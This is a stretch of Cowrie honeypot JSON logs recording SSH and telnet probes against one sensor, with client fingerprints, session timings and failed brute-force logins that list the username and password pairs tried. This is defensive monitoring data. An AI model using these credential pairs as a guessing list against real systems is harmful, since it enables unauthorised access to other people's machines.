{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:12.455163Z","src_ip":"213.209.159.158","session":"0e7e72910dc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:12.458464Z","src_ip":"213.209.159.158","session":"0e7e72910dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.938920497894287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:19.196471Z","src_ip":"62.171.135.55","session":"adb65bc3a654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33858,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ed9066359de","protocol":"telnet","message":"New connection: 62.171.135.55:33858 (159.203.135.109:23) [session: 2ed9066359de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:19.784647Z"}
{"eventid":"cowrie.session.closed","duration":30.254355669021606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:21.048806Z","src_ip":"62.171.135.55","session":"380ab9aaf5d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299657821655273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:21.457866Z","src_ip":"62.171.135.55","session":"9fa1863866a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.26170063018799,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:21.720238Z","src_ip":"139.162.207.207","session":"38d1078f31d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":55688,"dst_ip":"159.203.135.109","dst_port":22,"session":"dada2baf279b","protocol":"ssh","message":"New connection: 43.159.177.40:55688 (159.203.135.109:22) [session: dada2baf279b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:21.834895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:21.839473Z","src_ip":"43.159.177.40","session":"dada2baf279b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:21.913092Z","src_ip":"43.159.177.40","session":"dada2baf279b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz$2wsx","message":"login attempt [ubuntu/1qaz$2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:22.229319Z","src_ip":"43.159.177.40","session":"dada2baf279b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vn","message":"login attempt [root/vn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:22.299267Z","src_ip":"213.209.159.158","session":"0e7e72910dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:23.309984Z","src_ip":"43.159.177.40","session":"dada2baf279b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44382,"dst_ip":"159.203.135.109","dst_port":23,"session":"c88655448cc0","protocol":"telnet","message":"New connection: 62.171.135.55:44382 (159.203.135.109:23) [session: c88655448cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:23.765506Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:25.525084Z","src_ip":"213.209.159.158","session":"0e7e72910dc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26042,"dst_ip":"159.203.135.109","dst_port":22,"session":"0af6f5b9ccbb","protocol":"ssh","message":"New connection: 213.209.159.158:26042 (159.203.135.109:22) [session: 0af6f5b9ccbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:25.602878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:28.187321Z","src_ip":"213.209.159.158","session":"0af6f5b9ccbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:28.190040Z","src_ip":"213.209.159.158","session":"0af6f5b9ccbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.334668159484863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:30.171417Z","src_ip":"62.171.135.55","session":"6441baa256f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41894,"dst_ip":"159.203.135.109","dst_port":23,"session":"03ad14250072","protocol":"telnet","message":"New connection: 62.171.135.55:41894 (159.203.135.109:23) [session: 03ad14250072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:32.066234Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57312,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f1df4225c13","protocol":"ssh","message":"New connection: 159.203.92.129:57312 (159.203.135.109:22) [session: 4f1df4225c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:32.894340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:32.900488Z","src_ip":"159.203.92.129","session":"4f1df4225c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:32.906095Z","src_ip":"159.203.92.129","session":"4f1df4225c13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"dell@2023","message":"login attempt [ansible/dell@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:32.918560Z","src_ip":"159.203.92.129","session":"4f1df4225c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:33.925906Z","src_ip":"159.203.92.129","session":"4f1df4225c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":39534,"dst_ip":"159.203.135.109","dst_port":22,"session":"21cac20c6b13","protocol":"ssh","message":"New connection: 156.227.233.77:39534 (159.203.135.109:22) [session: 21cac20c6b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:34.995569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:35.001378Z","src_ip":"156.227.233.77","session":"21cac20c6b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:35.162238Z","src_ip":"156.227.233.77","session":"21cac20c6b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"netup123","message":"login attempt [admin/netup123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:35.837031Z","src_ip":"156.227.233.77","session":"21cac20c6b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":58268,"dst_ip":"159.203.135.109","dst_port":23,"session":"70852479e56c","protocol":"telnet","message":"New connection: 62.171.135.55:58268 (159.203.135.109:23) [session: 70852479e56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:36.978570Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:37.000402Z","src_ip":"156.227.233.77","session":"21cac20c6b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vK123456.","message":"login attempt [root/vK123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:37.548432Z","src_ip":"213.209.159.158","session":"0af6f5b9ccbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.050018072128296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:37.663353Z","src_ip":"62.171.135.55","session":"7f9ecea1c96a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:40.805003Z","src_ip":"213.209.159.158","session":"0af6f5b9ccbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33774,"dst_ip":"159.203.135.109","dst_port":22,"session":"67a1ddce5c14","protocol":"ssh","message":"New connection: 213.209.159.158:33774 (159.203.135.109:22) [session: 67a1ddce5c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:40.889435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:43.468407Z","src_ip":"213.209.159.158","session":"67a1ddce5c14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:43.471310Z","src_ip":"213.209.159.158","session":"67a1ddce5c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.32458996772766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:50.109147Z","src_ip":"62.171.135.55","session":"2ed9066359de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.55.45","src_port":1143,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1573fb9abe","protocol":"telnet","message":"New connection: 37.77.55.45:1143 (159.203.135.109:23) [session: ec1573fb9abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:51.159318Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfksirf","message":"login attempt [root/vfksirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:52.861041Z","src_ip":"213.209.159.158","session":"67a1ddce5c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.331891298294067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:54.097282Z","src_ip":"62.171.135.55","session":"c88655448cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:56.456249Z","src_ip":"213.209.159.158","session":"67a1ddce5c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47406,"dst_ip":"159.203.135.109","dst_port":22,"session":"5329fb8735ed","protocol":"ssh","message":"New connection: 213.209.159.158:47406 (159.203.135.109:22) [session: 5329fb8735ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:56.546093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:58.742273Z","src_ip":"213.209.159.158","session":"5329fb8735ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:29:58.746574Z","src_ip":"213.209.159.158","session":"5329fb8735ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":47554,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb977f6b6d3","protocol":"telnet","message":"New connection: 62.171.135.55:47554 (159.203.135.109:23) [session: fdb977f6b6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:01.104930Z"}
{"eventid":"cowrie.session.closed","duration":30.99363613128662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:03.059794Z","src_ip":"62.171.135.55","session":"03ad14250072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08253502845764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:30:08.060968Z","src_ip":"62.171.135.55","session":"70852479e56c","protocol":"telnet"}
